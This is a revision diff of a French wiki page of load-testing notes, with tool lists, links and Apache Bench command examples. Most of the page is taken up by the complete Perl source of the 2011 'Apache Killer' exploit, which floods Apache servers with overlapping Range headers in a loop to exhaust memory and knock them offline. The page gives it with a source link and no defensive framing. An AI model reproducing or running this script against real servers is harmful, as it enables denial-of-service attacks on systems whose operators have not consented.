Différences

Ci-dessous, les différences entre deux révisions de la page.

--- tech:perf_test_de_charge [2025/05/25 19:13] – Jean-Baptiste
+++ tech:perf_test_de_charge [2026/03/19 17:46] (Version actuelle) – Jean-Baptiste
@@ Ligne 1: / Ligne 1: @@
+<!DOCTYPE markdown>
+{{tag>Brouillon}}
+# Perf test de charge
+Liens :
+* http://www.thegeekstuff.com/2015/02/jmeter-load-testing/
+* HPC https://gitlab.cern.ch/hep-benchmarks/hep-score
+Outils analyse :
+* atop
+* sar / sysstat
+* tload
+* munin
+Outils charge :
+* jmeters
+* ab (apache)
+* artillery.io
+* gatling
+* script perl Apache Killer (Remote DOS Perl Script)
+* hey
+Autre :
+* [PhantomJS](https://fr.wikipedia.org/wiki/PhantomJS)
+## Jmeter
+Voir aussi :
+* Gatling
+Voir
+* http://blog.milamberspace.net/index.php/jmeter-pages/jmeter-test-de-charges-dun-site-web-mode-demploi/jmeteriser-son-scenario-fonctionnel
+* http://blog.milamberspace.net/index.php/jmeter-pages/jmeter-test-de-charges-dun-site-web-mode-demploi/affinage-du-scenario-de-tests
+* https://blazemeter.com/blog/5-ways-launch-jmeter-test-without-using-jmeter-gui
+## AB
+Voir aussi :
+* [siege](https://www.joedog.org/siege-home/)
+* httperf
+* [pronk](https://github.com/bos/pronk|pronk)
+Bloquer les attaques DOS
+* https://www.abyssproject.net/2014/06/bloquer-les-attaques-ddos-nginx/
+https://www.devside.net/wamp-server/load-testing-apache-with-ab-apache-bench
+Exemple :
+~~~bash
+ab -n 1000 -c 5 http://acme.fr/
+ab -r -n 100 -c 10 -k -H "Accept-Encoding: gzip, deflate" http://acme.fr/
+ab -n 500 -c 100 -g out.data http://acme.fr/
+ab -n 10 -c 5 -A utilisateur:P@ssw0rd http://acme.fr/
+~~~
+**-n** : nombre de requêtes\\
+**-c** : concurence, nombre de requête simultanées\\
+**-k** : HTTP **KeepAlive**\\
+**-e apache.csv** : Export les données dans un fihcier CSV\\
+**-r** : Ne pas se terminer si erreur sur le socket\\
+**-f** : Spécificer le protocol SSL/TLS\\
+**-A** : Authentification\\
+**-C** : cookie-name=value
+## Script Perl Apache Killer (Remote DOS Perl Script)
+Source : http://seclists.org/fulldisclosure/2011/Aug/175
+''killapache_pl''
+~~~perl
+#Apache httpd Remote Denial of Service (memory exhaustion)
+#By Kingcope
+#Year 2011
+#
+# Will result in swapping memory to filesystem on the remote side
+# plus killing of processes when running out of swap space.
+# Remote System becomes unstable.
+#
+use IO::Socket;
+use Parallel::ForkManager;
+sub usage {
+	print "Apache Remote Denial of Service (memory exhaustion)\n";
+	print "by Kingcope\n";
+	print "usage: perl killapache.pl <host> [numforks]\n";
+	print "example: perl killapache.pl www.example.com 50\n";
+}
+sub killapache {
+print "ATTACKING $ARGV[0] [using $numforks forks]\n";
+$pm = new Parallel::ForkManager($numforks);
+$|=1;
+srand(time());
+$p = "";
+for ($k=0;$k<1300;$k++) {
+	$p .= ",5-$k";
+}
+for ($k=0;$k<$numforks;$k++) {
+my $pid = $pm->start and next;
+$x = "";
+my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
+                                 PeerPort => "80",
+                     			 Proto    => 'tcp');
+$p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
+print $sock $p;
+while(<$sock>) {
+}
+ $pm->finish;
+}
+$pm->wait_all_children;
+print ":pPpPpppPpPPppPpppPp\n";
+}
+sub testapache {
+my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
+                                 PeerPort => "80",
+                     			 Proto    => 'tcp');
+$p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
+print $sock $p;
+$x = <$sock>;
+if ($x =~ /Partial/) {
+	print "host seems vuln\n";
+	return 1;
+} else {
+	return 0;
+}
+}
+if ($#ARGV < 0) {
+	usage;
+	exit;
+}
+if ($#ARGV > 1) {
+	$numforks = $ARGV[1];
+} else {$numforks = 50;}
+$v = testapache();
+if ($v == 0) {
+	print "Host does not seem vulnerable\n";
+	exit;
+}
+while(1) {
+killapache();
+}
+~~~